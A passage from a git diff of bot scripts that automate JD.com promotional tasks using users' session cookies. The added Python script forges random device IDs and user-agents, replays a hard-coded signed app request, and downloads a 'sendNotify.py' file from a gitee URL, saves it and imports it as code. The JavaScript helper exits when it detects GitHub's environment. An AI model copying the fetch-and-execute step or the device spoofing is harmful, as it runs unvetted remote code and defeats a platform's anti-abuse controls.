+} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) + continue; + if (UserShareCodes == code) + continue; + + console.log(`去助力好友${code}`); + let res = await doTask(code, 6); + if ([108, -1001].includes(oc(() => res.data.bizCode))) { + console.log(`助力次数已满,跳出`); + break; + } + await $.wait(1000); + } +} +function GetShareCode(taskId = 6) { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', { + "buildingId": "", + taskId: taskId === -1 ? '' : taskId, + "channelId": 1 + }), + async(err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data); + + if (oc(() => data.data.result.taskVos)) { + console.log(`【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + var strSharedcode = `${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}`; + $.newShareCodes.push(strSharedcode); + } + + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} + +function getTaskDetail(taskId = '') { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', { + "buildingId": "", + taskId: taskId === -1 ? '' : taskId, + "channelId": 1 + }), + async(err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (taskId === -1) { + let tmp = parseInt(parseFloat(nc(oc(() => data.data.result.userScore), '0'))) + if (!$.earn) { + $.score = tmp + $.earn = 1 + } else { + $.earn = tmp - $.score + $.score = tmp + } + } else if (taskId === 6) { + if (oc(() => data.data.result.taskVos)) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + UserShareCodes = `${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}`; + } + } + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'accept-language': 'zh-cn', + 'accept-encoding': 'gzip, deflate, br', + 'accept': 'application/json, text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function doTask(taskToken, taskId, actionType = 0) { + return new Promise(resolve => { + const options = taskUrl('jdhealth_collectScore', {taskToken, taskId, actionType}) + $.get(options, + (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) { + $.canDo = true + if (oc(() => data.data.result.score)) + console.log(`任务完成成功,获得:${nc(oc(() => data.data.result.score) , '未知')}能量`) + else + console.log(`任务领取结果:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } else { + console.log(`任务完成失败:${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`) + } + } + } catch (e) { + console.log(e) + } finally { + resolve(data) + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health_plant.py b/jd_health_plant.py new file mode 100644 index 0000000..3876d35 --- /dev/null +++ b/jd_health_plant.py @@ -0,0 +1,582 @@ +#!/bin/env python3 +# -*- coding: utf-8 -* +''' +感谢Curtin提供的其他脚本供我参考 +感谢aburd ch大佬的指导 +项目名称:xF_jd_health_plant.py +Author: 一风一扬 +功能:健康社区-种植园自动任务 +Date: 2022-1-4 +cron: 23 11,13,21 * * * jd_health_plant.py +new Env('京东健康社区-种植园自动任务'); + + +活动入口:20:/#1DouT0KAaKuqv% + +教程:该活动与京东的ck通用,但是变量我还是独立出来。 + +青龙变量填写export plant_cookie="xxxx" + +多账号用&隔开,例如export plant_cookie="xxxx&xxxx" + + +青龙变量export charge_targe_id = 'xxxx',表示需要充能的id,单账号可以先填写export charge_targe_id = '11111',运行一次脚本 +日志输出会有charge_targe_id,然后再重新修改export charge_targe_id = 'xxxxxx'。多个账号也一样,如果2个账号export charge_targe_id = '11111&11111' +3个账号export charge_targe_id = '11111&11111&11111',以此类推。 +注意:charge_targe_id和ck位置要对应。而且你有多少个账号,就得填多少个charge_targe_id,首次11111填写时,为5位数。 +例如export plant_cookie="xxxx&xxxx&xxx",那export charge_targe_id = "11111&11111&11111",也要写满3个id,这样才能保证所有账号都能跑 + +''' + + + +######################################################以下代码请不要乱改###################################### + +UserAgent = '' +cookie = '' +account = '' +charge_targe_id = '' +cookies = [] +charge_targe_ids = '' + +import requests +import time,datetime +import requests,re,os,sys,random,json +from urllib.parse import quote, unquote +import threading +import urllib3 +#urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +requests.packages.urllib3.disable_warnings() + + + + +today = datetime.datetime.now().strftime('%Y-%m-%d') +tomorrow=(datetime.datetime.now() + datetime.timedelta(days=1)).strftime('%Y-%m-%d') + +nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') + +time1 = '21:00:00.00000000' +time2 = '22:00:00.00000000' + +flag_time1 = '{} {}'.format (today, time1) +flag_time2 = '{} {}'.format (today, time2) + + + + +pwd = os.path.dirname(os.path.abspath(__file__)) + os.sep +path = pwd + "env.sh" + +sid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 32)) + +sid_ck = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdefABCDEFGHIJKLMNOPQRSTUVWXYZ', 43)) + + + +def printT(s): + print("[{0}]: {1}".format(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S"), s)) + sys.stdout.flush() + +def getEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except: + pass + try: + if '.' in label: + return float(label) + elif '&' in label: + return label.split('&') + elif '@' in label: + return label.split('@') + else: + return int(label) + except: + return label + +# 获取v4环境 特殊处理 +try: + with open(v4f, 'r', encoding='utf-8') as v4f: + v4Env = v4f.read() + r = re.compile(r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', + re.M | re.S | re.I) + r = r.findall(v4Env) + curenv = locals() + for i in r: + if i[0] != 'JD_COOKIE': + curenv[i[0]] = getEnvs(i[1]) +except: + pass + +############# 在pycharm测试ql环境用,实际用下面的代码运行 ######### +# with open(path, "r+", encoding="utf-8") as f: +# ck = f.read() +# if "JD_COOKIE" in ck: +# r = re.compile (r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) +# cookies = r.findall (ck) +# # print(cookies) +# # cookies = cookies[0] +# # print(cookies) +# # cookies = cookies.split ('&') +# printT ("已获取并使用ck环境 Cookie") +####################################################################### + + +cookies1 = [] +cookies1 = os.environ["JD_COOKIE"] +cookies = cookies1.split ('&') + + +def userAgent(): + """ + 随机生成一个UA + :return: jdapp;iPhone;9.4.8;14.3;xxxx;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 + """ + if not UserAgent: + uuid = ''.join(random.sample('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + addressid = ''.join(random.sample('1234567898647', 10)) + iosVer = ''.join( + random.sample(["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + iosV = iosVer.replace('.', '_') + iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join( + random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone{iPhone},1;addressid/{addressid};supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + else: + return UserAgent + +## 获取通知服务 +class msg(object): + def __init__(self, m=''): + self.str_msg = m + self.message() + def message(self): + global msg_info + printT(self.str_msg) + try: + msg_info = "{}\n{}".format(msg_info, self.str_msg) + except: + msg_info = "{}".format(self.str_msg) + sys.stdout.flush() #这代码的作用就是刷新缓冲区。 + # 当我们打印一些字符时,并不是调用print函数后就立即打印的。一般会先将字符送到缓冲区,然后再打印。 + # 这就存在一个问题,如果你想等时间间隔的打印一些字符,但由于缓冲区没满,不会打印。就需要采取一些手段。如每次打印后强行刷新缓冲区。 + def getsendNotify(self, a=0): + if a == 0: + a += 1 + try: + url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' + response = requests.get(url) + if 'curtinlv' in response.text: + with open('sendNotify.py', "w+", encoding="utf-8") as f: + f.write(response.text) + else: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + except: + if a < 5: + a += 1 + return self.getsendNotify(a) + else: + pass + def main(self): + global send + cur_path = os.path.abspath(os.path.dirname(__file__)) + sys.path.append(cur_path) + if os.path.exists(cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + self.getsendNotify() + try: + from sendNotify import send + except: + printT("加载通知服务失败~") + else: + self.getsendNotify() + try: + from sendNotify import send + except: + printT("加载通知服务失败~") + ################### +msg().main() + +def setName(cookie): + try: + r = re.compile(r"pt_pin=(.*?);") #指定一个规则:查找pt_pin=与;之前的所有字符,但pt_pin=与;不复制。r"" 的作用是去除转义字符. + userName = r.findall(cookie) #查找pt_pin=与;之前的所有字符,并复制给r,其中pt_pin=与;不复制。 + #print (userName) + userName = unquote(userName[0]) #r.findall(cookie)赋值是list列表,这个赋值为字符串 + #print(userName) + return userName + except Exception as e: + print(e,"cookie格式有误!") + exit(2) + +#获取ck +def get_ck(token,sid_ck,account): + try: + url = 'https://api.m.jd.com/client.action?functionId=isvObfuscator' + headers = { + # 'Connection': 'keep-alive', + 'accept': '*/*', + "cookie": f"{token}", + 'host': 'api.m.jd.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'user-Agent': userAgent (), + 'accept-Encoding': 'gzip, deflate, br', + 'accept-Language': 'zh-Hans-CN;q=1', + "content-type":"application/x-www-form-urlencoded", + # "content-length":"1348", + } + timestamp = int (round (time.time () * 1000)) + timestamp1 = int(timestamp / 1000) + data =r'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruismzd-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167922&client=apple&clientVersion=10.3.2&d_brand=apple&d_model=iPhone12%2C1&ef=1&eid=eidI4a9081236as4w7JpXa5zRZuwROIEo3ORpcOyassXhjPBIXtrtbjusqCxeW3E1fOtHUlGhZUCur1Q1iocDze1pQ9jBDGfQs8UXxMCTz02fk0RIHpB&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22ENS4AtO3EJS%3D%22%2C%22wifiBssid%22%3A%22' + f"{sid_ck}" + r'%3D%22%2C%22osVersion%22%3A%22CJUkCK%3D%3D%22%2C%22area%22%3A%22CJvpCJY1DV80ENY2XzK%3D%22%2C%22openudid%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1642002985%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=88&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=01&sign=946db60626658b250cf47aafb6f67691&st=1642002999847&sv=112&uemps=0-0&uts=0f31TVRjBSu3kkqwe7t25AkQCKuzV3pz8JrojVuU0630g%2BkZigs9kTwRghT26sE72/e92RRKan/%2B9SRjIJYCLuhew91djUwnIY47k31Rwne/U1fOHHr9FmR31X03JKJjwao/EC1gy4fj7PV1Co0ZOjiCMTscFo/8id2r8pCHYMZcaeH3yPTLq1MyFF3o3nkStM/993MbC9zim7imw8b1Fg%3D%3D' + # data = '{"token":"AAFh3ANjADAPSunyKSzXTA-UDxrs3Tn9hoy92x4sWmVB0Kv9ey-gAMEdJaSDWLWtnMX8lqLujBo","source":"01"}' + # print(data) + response = requests.post (url=url, verify=False, headers=headers,data=data) + result = response.json () + # print(result) + access_token = result['token'] + # print(access_token) + return access_token + except Exception as e: + msg("账号【{0}】获取ck失败,cookie过期".format(account)) + +#获取Authorization +def get_Authorization(access_token,account): + try: + url = 'https://xinruismzd-isv.isvjcloud.com/api/auth' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization": 'Bearer undefined', + 'Referer': 'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/logined_jd/', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Origin":"https://xinruismzd-isv.isvjcloud.com", + "Content-Type":"application/json;charset=utf-8", + + } + data = '{"token":"'+ f"{access_token}" + r'","source":"01"}' + # print(data) + response = requests.post (url=url, verify=False, headers=headers,data=data) + result = response.json () + # print(result) + access_token = result['access_token'] + access_token = r"Bearer " + access_token + # print(access_token) + return access_token + except Exception as e: + msg("账号【{0}】获取Authorization失败,活动火爆,请稍后再试".format(account)) + +#获取已种植的信息 +def get_planted_info(cookies,sid,account): + name_list = [] + planted_id_list = [] + url = 'https://xinruismzd-isv.isvjcloud.com/api/get_home_info' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization": cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + planted_list = result['plant'] + # print(planted_list) + for i in range (len (planted_list)): + try: + name = result['plant'][f'{i+1}']['data']['name'] + planted_id = result['plant'][f'{i+1}']['data']['id'] + print(f"【账号{account}】所种植的",f"【{name}】","充能ID为:",planted_id) + name_list.append(name) + planted_id_list.append(planted_id) + global charge_targe_id + charge_targe_id=str(planted_id) + break + except Exception as e: + pass + print('\n\n') + + +#获取早睡打卡 +def get_sleep(cookies,sid): + url = 'https://xinruismzd-isv.isvjcloud.com/api/get_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization": cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + taskToken_list = result['result']['taskVos'] + for i in range (len (taskToken_list)): + try: + taskName = taskToken_list[i]['taskName'] + taskId = taskToken_list[i]['taskId'] + if "早睡" in taskName: + taskToken = taskToken_list[i]['threeMealInfoVos'][0]['taskToken'] + return taskName,taskId,taskToken + except Exception as e: + print (e) + + +#获取任务信息 +def get_task(cookies,sid,account): + try: + taskName_list = [] + taskId_list = [] + taskToken_list = [] + url = 'https://xinruismzd-isv.isvjcloud.com/api/get_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get(url=url, verify=False, headers=headers) + result = response.json() + # print(result) + task_list = result['result']['taskVos'] + # print(task_list) + for i in range (len (task_list)): + try: + taskName = task_list[i]['taskName'] + taskId = task_list[i]['taskId'] + taskToken = task_list[i]['shoppingActivityVos'][0]['taskToken'] + taskName_list.append(taskName) + taskId_list.append(taskId) + taskToken_list.append(taskToken) + except Exception as e: + print(e) + # print(taskName_list, taskId_list, taskToken_list) + return taskName_list, taskId_list, taskToken_list + except Exception as e: + print (e) + msg("【账号{0}】浏览任务已全部完成".format(account)) + return '', '', '' + +#获取加购任务信息 +def get_task2(cookies,sid,account): + try: + taskToken_list = [] + url = 'https://xinruismzd-isv.isvjcloud.com/api/get_task' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + "Authorization":cookies, + 'Referer': f'https://xinruismzd-isv.isvjcloud.com/healthy-plant2021/?channel=ddjkicon&sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruismzd-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 